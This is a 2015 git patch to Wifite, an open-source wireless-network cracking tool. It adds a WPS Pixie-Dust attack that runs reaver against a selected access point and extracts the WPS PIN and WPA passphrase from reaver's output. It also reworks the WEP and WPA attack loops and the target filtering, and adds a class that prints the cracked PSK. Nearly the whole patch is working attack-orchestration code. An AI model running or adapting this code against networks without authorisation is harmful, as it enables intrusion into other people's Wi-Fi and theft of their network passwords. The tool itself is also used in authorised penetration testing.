From ff66d08308d76a1fb3d2604570c6eedcc6107384 Mon Sep 17 00:00:00 2001 From: derv82 Date: Tue, 2 Jun 2015 07:31:41 -0700 Subject: [PATCH] WPS PixieDust attack support Fixed encryption filtering. More WPS-specific configurations. Various fixes. --- Wifite.py | 40 +++++++-- py/Airodump.py | 19 +++-- py/Arguments.py | 20 +++-- py/AttackWEP.py | 17 +++- py/AttackWPA.py | 8 +- py/AttackWPS.py | 198 ++++++++++++++++++++++++++++++++++++++++++- py/Configuration.py | 56 +++++++++--- py/CrackResultWPS.py | 26 ++++++ py/Process.py | 6 +- py/Scanner.py | 5 +- 10 files changed, 348 insertions(+), 47 deletions(-) create mode 100644 py/CrackResultWPS.py diff --git a/Wifite.py b/Wifite.py index 090887a..e200048 100644 --- a/Wifite.py +++ b/Wifite.py @@ -1,37 +1,63 @@ #!/usr/bin/python +from py.Configuration import Configuration from py.Scanner import Scanner from py.Color import Color from py.AttackWEP import AttackWEP from py.AttackWPA import AttackWPA +from py.AttackWPS import AttackWPS class Wifite(object): def __init__(self): pass def run(self): + ''' + Main program. + 1) Scans for targets, asks user to select targets + 2) Attacks each target + ''' s = Scanner() targets = s.select_targets() for t in targets: Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})' % (t.bssid, t.essid)) - # TODO: Check if Configuration says to attack certain encryptions. - if 'WEP' in t.encryption: + if 'WEP' in t.encryption: # TODO: and configuration.use_wep attack = AttackWEP(t) + attack.run() elif 'WPA' in t.encryption: - # TODO: Check if WPS, attack WPS - attack = AttackWPA(t) - attack.run() + if t.wps: # TODO: and Configuration.use_wps + attack = AttackWPS(t) + if attack.run(): + # We cracked it. + break + else: # TODO: and Configuration.use_wpa + # WPS failed, try WPA handshake. + attack = AttackWPA(t) + attack.run() + else: # TODO: and Configuration.use_wpa + # Not using WPS, try WPA handshake. + attack = AttackWPA(t) + attack.run() + else: + # TODO: Error: Can't attack - encryption not WEP or WPA + pass + + # TODO: if attack.successful: + # TODO: Save attack.crack_result pass + if __name__ == '__main__': w = Wifite() try: w.run() except Exception, e: Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) - #from traceback import format_exc - #format_exc().replace('\n', '\n ') + from traceback import format_exc + print '\n ' + print format_exc().replace('\n', '\n ') except KeyboardInterrupt: Color.pl('\n{!} {O}interrupted{W}') + Configuration.exit_gracefully(0) diff --git a/py/Airodump.py b/py/Airodump.py index 5b0f703..7f9c18c 100644 --- a/py/Airodump.py +++ b/py/Airodump.py @@ -124,12 +124,14 @@ class Airodump(object): # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) - targets = Airodump.filter_targets(targets, wep=True, wpa=True, opn=False) # Check targets for WPS capfile = csv_filename[:-3] + 'cap' Wash.check_for_wps_and_update_targets(capfile, targets) + # Filter targets based on encryption + targets = Airodump.filter_targets(targets) + # Sort by power targets.sort(key=lambda x: x.power, reverse=True) @@ -189,15 +191,18 @@ class Airodump(object): return targets @staticmethod - def filter_targets(targets, wep=True, wpa=True, opn=False): - ''' Filters targets based on encryption ''' + def filter_targets(targets): + ''' Filters targets based on encryption defined in Configuration ''' result = [] for target in targets: - if wep and 'WEP' in target.encryption: + if 'WEP' in Configuration.encryption_filter and \ + 'WEP' in target.encryption: result.append(target) - elif wpa and 'WPA' in target.encryption: - result.append(target) - elif opn and 'OPN' in target.encryption: + elif 'WPA' in Configuration.encryption_filter and \ + 'WPA' in target.encryption: + result.append(target) + elif 'WPS' in Configuration.encryption_filter and \ + target.wps: result.append(target) return result diff --git a/py/Arguments.py b/py/Arguments.py index 3aecc96..19045ca 100644 --- a/py/Arguments.py +++ b/py/Arguments.py @@ -31,8 +31,8 @@ class Arguments(object): wep = parser.add_argument_group('WEP-RELATED') wep.add_argument('--wep', action='store_true', - dest='wep_only', - help='Only target WEP-encrypted networks (ignores WPA)') + dest='wep_filter', + help='Only show WEP-encrypted networks') wep.add_argument('--require-fakeauth', action='store_true', dest='require_fakeauth', @@ -42,15 +42,23 @@ class Arguments(object): wpa = parser.add_argument_group('WPA-RELATED') wpa.add_argument('--wpa', action='store_true', - dest='wpa_only', - help='Only target WPA-encrypted networks (ignores WEP)') + dest='wpa_filter', + help='Only show WPA-encrypted networks') # WPS wps = parser.add_argument_group('WPS-RELATED') wps.add_argument('--wps', action='store_true', - dest='wps_only', - help='Only target WPS-encrypted networks (ignores WEP/nonWPS)') + dest='wps_filter', + help='Only show WPA networks with WPS enabled') + wps.add_argument('--reaver', + action='store_true', + dest='reaver_only', + help='Only use Reaver on WPS networks (no handshake attack)') + wps.add_argument('--no-reaver', + action='store_true', + dest='no_reaver', + help='Do NOT use Reaver on WPS networks (handshake only)') wps.add_argument('--pixie', action='store_true', dest='pixie_only', diff --git a/py/AttackWEP.py b/py/AttackWEP.py index 1cd8fa9..afae6d9 100644 --- a/py/AttackWEP.py +++ b/py/AttackWEP.py @@ -21,11 +21,13 @@ class AttackWEP(Attack): def __init__(self, target): super(AttackWEP, self).__init__(target) self.crack_result = None + self.success = False def run(self): ''' Initiates full WEP attack. Including airodump-ng starting, cracking, etc. + Returns: True if attack is succesful, false otherwise ''' # First, start Airodump process with Airodump(channel=self.target.channel, @@ -95,7 +97,8 @@ class AttackWEP(Attack): hex_key, \ ascii_key) self.crack_result.dump() - return True + self.success = True + return self.success if aircrack and aircrack.is_running(): # Aircrack is running in the background. @@ -139,9 +142,9 @@ class AttackWEP(Attack): # XXX: For debugging Color.pl('\n%s stopped, output:' % attack_name) Color.pl(aireplay.get_output()) - break + continue # Continue to other attacks - # If .xor exists, run packetforge-ng to create .cap + # TODO: If .xor exists, run packetforge-ng to create .cap # If packetforge created the replay .cap file, # 1. Change attack_name to 'forged arp replay' # 2. Start Aireplay to replay the .cap file @@ -149,7 +152,7 @@ class AttackWEP(Attack): Color.pl('\n{!} {O}aireplay-ng exited unexpectedly{W}') Color.pl('\naireplay.get_output():') Color.pl(aireplay.get_output()) - break + continue # Continue to other attacks # Check if IVs stopped flowing (same for > N seconds) if airodump_target.ivs > previous_ivs: @@ -170,6 +173,12 @@ class AttackWEP(Attack): time.sleep(1) continue + # End of big while loop + # End of for-each-attack-type loop + # End of with-airodump + + self.success = False + return self.success def fake_auth(self): diff --git a/py/AttackWPA.py b/py/AttackWPA.py index 9565e8b..00f19cf 100644 --- a/py/AttackWPA.py +++ b/py/AttackWPA.py @@ -17,6 +17,7 @@ class AttackWPA(Attack): def __init__(self, target): super(AttackWPA, self).__init__(target) self.crack_result = None + self.success = False def run(self): ''' @@ -104,8 +105,8 @@ class AttackWPA(Attack): if not handshake: # No handshake, attack failed. - raise Exception('Handshake not captured') - return False + self.success = False + return self.success key = None @@ -158,7 +159,8 @@ class AttackWPA(Attack): self.crack_result = WPAResult(bssid, essid, handshake.capfile, key) self.crack_result.dump() - return True + self.success = True + return self.success def save_handshake(self, handshake): diff --git a/py/AttackWPS.py b/py/AttackWPS.py index 2f7919c..c69eb9c 100644 --- a/py/AttackWPS.py +++ b/py/AttackWPS.py @@ -1,13 +1,209 @@ #!/usr/bin/python from Attack import Attack +from Color import Color +from Configuration import Configuration +from CrackResultWPS import CrackResultWPS +from Process import Process + +import os +import time +import re class AttackWPS(Attack): def __init__(self, target): super(AttackWPS, self).__init__(target) + self.success = False def run(self): - raise Exception("TODO: Crack WPS") + ''' Run all WPS-related attacks ''' + + # Drop out if user specified to not user Reaver + if Configuration.no_reaver: + self.success = False + return self.success + + # Run Pixie-Dust attack + if self.is_pixiedust_supported(): + if self.run_pixiedust_attack(): + # Pixie-Dust attack succeeded. We're done. + self.success = True + return self.success + else: + Color.pl( + '{!} {R}your version of "reaver" does not' + + ' support the {O}WPS pixie-dust attack{W}') + + if Configuration.pixie_only: + Color.pl('{!} {O}--pixie-only{R} set, ignoring WPS-PIN attack{W}') + self.success = False + else: + # Run WPS-PIN attack + self.success = self.run_wps_pin_attack() + return self.success + + + def is_pixiedust_supported(self): + ''' Checks if 'reaver' supports WPS Pixie-Dust attack ''' + output = Process(['reaver', '-h']).stderr() + return '--pixie-dust' in output + + def run_pixiedust_attack(self): + # Write reaver stdout to file. + self.stdout_file = Configuration.temp('reaver.out') + if os.path.exists(self.stdout_file): + os.remove(self.stdout_file) + + command = [ + 'reaver', + '-i', Configuration.interface, + '-b', self.target.bssid, + '-c', self.target.channel, + '-K', '1', # pixie-dust attack + '-a', # Automatically restart session + '-vv' # (very) verbose + ] + + stdout_write = open(self.stdout_file, 'a') + + reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) + + pin = None + step = '0) initializing' + + while True: + time.sleep(1) + Color.clear_line() + Color.p('\r{+} {C}WPS pixiedust attack{W}: ') + + stdout_write.flush() + + # Check output from reaver process + stdout = self.get_stdout() + stdout_last_line = stdout.split('\n')[-1] + + (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) + + # Check if we cracked it, or if process stopped. + if (pin and psk and ssid) or reaver.poll() != None: + reaver.interrupt() + + # Check one-last-time for PIN/PSK/SSID, in case of race condition. + stdout = self.get_stdout() + (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) + + # Check if we cracked it. + if pin and psk and ssid: + # We cracked it. + bssid = self.target.bssid + Color.pl('{G}success{W}\n') + self.crack_result = CrackResultWPS(bssid, ssid, pin, psk) + self.crack_result.dump() + self.success = True + else: + # Failed to crack, reaver proces ended. + Color.pl('{R}failed: {O}WPS pin not found{W}') + self.success = False + break + + # Status updates, depending on last line of stdout + if 'Waiting for beacon from' in stdout_last_line: + step = '(step 1/8) initialized, waiting for beacon to associate' + elif 'Associated with' in stdout_last_line: + step = '(step 2/8) associated, waiting to start session' + elif 'Starting Cracking Session.' in stdout_last_line: + step = '(step 3/8) started session, waiting to try pin' + elif 'Trying pin' in stdout_last_line: + step = '(step 4/8) trying pin' + elif 'Sending EAPOL START request' in stdout_last_line: + step = '(step 5/8) sending eapol start request' + elif 'Sending identity response' in stdout_last_line: + step = '(step 6/8) sending identity response' + elif 'Sending M2 message' in stdout_last_line: + step = '(step 7/8) sending m2 message (may take a while)' + elif 'Detected AP rate limiting,' in stdout_last_line: + step = '(step 0/8) waiting for AP rate limit' + + if 'WPS pin not found' in stdout: + # Attack failed; PIN not found. + Color.pl('{R}failed: {O}WPS pin not found{W}') + reaver.interrupt() + return False + + fail_count = stdout.count('WPS transaction failed') + timeout_count = stdout.count('Receive timeout occurred') + + # Display status of Pixie-Dust attack + Color.p('{W}%s{W}' % step) + + continue + + reaver.interrupt() + stdout_write.close() + return self.success + + + @staticmethod + def get_pin_psk_ssid(stdout): + ''' Parses WPS PIN, PSK, and SSID from output ''' + pin = psk = ssid = None + + # Check for PIN. + # PIN: Printed *before* the attack completes. + regex = re.search('WPS pin: *([0-9]*)', stdout) + if regex: + pin = regex.groups()[0] + # PIN: Printed when attack is completed. + regex = re.search("WPS PIN: *'([0-9]+)'", stdout) + if regex: + pin = regex.groups()[0] + + # Check for PSK. + regex = re.search("WPA PSK: *'(.+)'", stdout) + if regex: + psk = regex.groups()[0] + + # Check for SSID + regex = re.search("AP SSID: *'(.+)'", stdout) + if regex: + ssid = regex.groups()[0] + + return (pin, psk, ssid) + + + def run_wps_pin_attack(self): + # TODO Implement + return False + + def get_stdout(self): + ''' Gets output from stdout_file ''' + if not self.stdout_file: + return '' + f = open(self.stdout_file, 'r') + stdout = f.read() + f.close() + return stdout.strip() + if __name__ == '__main__': + stdout = ''' +[Pixie-Dust] +[Pixie-Dust] Pixiewps 1.1 +[Pixie-Dust] +[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 +[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 +[Pixie-Dust] [+] WPS pin: 12345678 +[Pixie-Dust] +[Pixie-Dust] [*] Time taken: 0 s +[Pixie-Dust] +Running reaver with the correct pin, wait ... +Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 + +[Reaver Test] BSSID: AA:BB:CC:DD:EE:FF +[Reaver Test] Channel: 11 +[Reaver Test] [+] WPS PIN: '12345678' +[Reaver Test] [+] WPA PSK: 'Test PSK' +[Reaver Test] [+] AP SSID: 'Test Router' + ''' + print AttackWPS.get_pin_psk_ssid(stdout) pass diff --git a/py/Configuration.py b/py/Configuration.py index 8c06249..c214b4f 100644 --- a/py/Configuration.py +++ b/py/Configuration.py @@ -2,6 +2,16 @@ import os +''' +--wep : Target WEP networks +--wpa : Target WPA networks +--wps : Target WPS networks + ^ Can be combined + +--no-reaver : Do not use reaver on WPS networks +--reaver : Only use reaver on WPS networks +''' + class Configuration(object): ''' Stores configuration variables for Wifite. ''' @@ -28,8 +38,10 @@ class Configuration(object): Configuration.target_bssid = None # User-defined AP BSSID Configuration.pillage = False # "All" mode to attack everything + Configuration.encryption_filter = ['WEP', 'WPA', 'WPS'] + # WEP variables - Configuration.wep_only = False # Only attack WEP networks + Configuration.wep_filter = False # Only attack WEP networks Configuration.wep_pps = 600 # Packets per second Configuration.wep_timeout = 600 # Seconds to wait before failing Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking @@ -44,11 +56,10 @@ class Configuration(object): Configuration.wep_caffelatte = True Configuration.wep_p0841 = True Configuration.wep_hirte = True - # Number of IVS at which we start cracking - Configuration.wep_crack_at_ivs = 10000 + Configuration.wep_crack_at_ivs = 10000 # Number of IVS to start cracking # WPA variables - Configuration.wpa_only = False # Only attack WPA networks + Configuration.wpa_filter = False # Only attack WPA networks Configuration.wpa_deauth_timeout = 10 # Wait time between deauths Configuration.wpa_attack_timeout = 500 # Wait time before failing Configuration.wpa_handshake_dir = "hs" # Dir to store handshakes @@ -65,10 +76,14 @@ class Configuration(object): break # WPS variables - Configuration.wps_only = False # Only attack WPS networks - Configuration.pixie_only = False # Only use Pixie attack on WPS - Configuration.wps_timeout = 600 # Seconds to wait before failing + Configuration.wps_filter = False # Only attack WPS networks + Configuration.no_reaver = False # Do not use Reaver on WPS networks + Configuration.reaver = False # ONLY use Reaver on WPS networks + Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS + Configuration.wps_timeout = 600 # Seconds to wait before failing Configuration.wps_max_retries = 20 # Retries before failing + Configuration.fail_threshold = 30 # Max number of failures + Configuration.timeout_threshold = 30 # Max number of timeouts # Overwrite config values with arguments (if defined) Configuration.load_from_arguments() @@ -79,15 +94,28 @@ class Configuration(object): from Arguments import Arguments args = Arguments().args ''' Sets configuration values based on Argument.args object ''' - if args.channel: Configuration.target_channel = args.channel - if args.interface: Configuration.interface = args.interface - if args.wep_only: Configuration.wep_only = args.wep_only - if args.wpa_only: Configuration.wpa_only = args.wpa_only - if args.wps_only: Configuration.wps_only = args.wps_only - if args.pixie_only: Configuration.pixie_only = args.pixie_only - if args.wordlist: Configuration.wordlist = args.wordlist + if args.channel: Configuration.target_channel = args.channel + if args.interface: Configuration.interface = args.interface + if args.wep_filter: Configuration.wep_filter = args.wep_filter + if args.wpa_filter: Configuration.wpa_filter = args.wpa_filter + if args.wps_filter: Configuration.wps_filter = args.wps_filter + if args.no_reaver: Configuration.no_reaver = args.no_reaver + if args.reaver_only: Configuration.reaver_only = args.reaver_only + if args.pixie_only: Configuration.pixie_only = args.pixie_only + if args.wordlist: Configuration.wordlist = args.wordlist if args.require_fakeauth: Configuration.require_fakeauth = False + # Adjust encryption filter + if Configuration.wep_filter or \ + Configuration.wpa_filter or \ + Configuration.wps_filter: + # Reset filter + Configuration.encryption_filter = [] + + if Configuration.wep_filter: Configuration.encryption_filter.append('WEP') + if Configuration.wpa_filter: Configuration.encryption_filter.append('WPA') + if Configuration.wps_filter: Configuration.encryption_filter.append('WPS') + if Configuration.interface == None: # Interface wasn't defined, select it! from Airmon import Airmon diff --git a/py/CrackResultWPS.py b/py/CrackResultWPS.py new file mode 100644 index 0000000..e2f1269 --- /dev/null +++ b/py/CrackResultWPS.py @@ -0,0 +1,26 @@ +#!/usr/bin/python + +from Color import Color + +import time + +class CrackResultWPS(object): + def __init__(self, bssid, essid, pin, psk): + self.bssid = bssid + self.essid = essid + self.pin = pin + self.psk = psk + self.time = time.time() + + def dump(self): + if self.essid: + Color.pl('{+} ESSID: {C}%s{W}' % self.essid) + Color.pl('{+} BSSID: {C}%s{W}' % self.bssid) + Color.pl('{+} Encryption: {C}WPA{W} ({C}WPS{W})') + Color.pl('{+} WPS PIN: {G}%s{W}' % self.pin) + Color.pl('{+} PSK/Password: {G}%s{W}' % self.psk) + +if __name__ == '__main__': + crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk') + crw.dump() + diff --git a/py/Process.py b/py/Process.py index 66c9629..30bb8ec 100644 --- a/py/Process.py +++ b/py/Process.py @@ -35,7 +35,7 @@ class Process(object): return True - def __init__(self, command, devnull=False): + def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE): ''' Starts executing command ''' if type(command) == str: @@ -50,8 +50,8 @@ class Process(object): sout = Process.devnull() serr = Process.devnull() else: - sout = PIPE - serr = PIPE + sout = stdout + serr = stderr self.start_time = time.time() diff --git a/py/Scanner.py b/py/Scanner.py index b8bbd3c..caf3aa9 100644 --- a/py/Scanner.py +++ b/py/Scanner.py @@ -34,6 +34,9 @@ class Scanner(object): "Command ran: %s" % ' '.join(airodump.pid.command)) + self.targets = airodump.get_targets() + self.print_targets() + target_count = len(self.targets) client_count = sum( [len(t.clients) @@ -44,8 +47,6 @@ class Scanner(object): ' {G}%d{W} clients.' % client_count + ' {O}Ctrl+C{W} when ready') sleep(1) - self.targets = airodump.get_targets() - self.print_targets() except KeyboardInterrupt: pass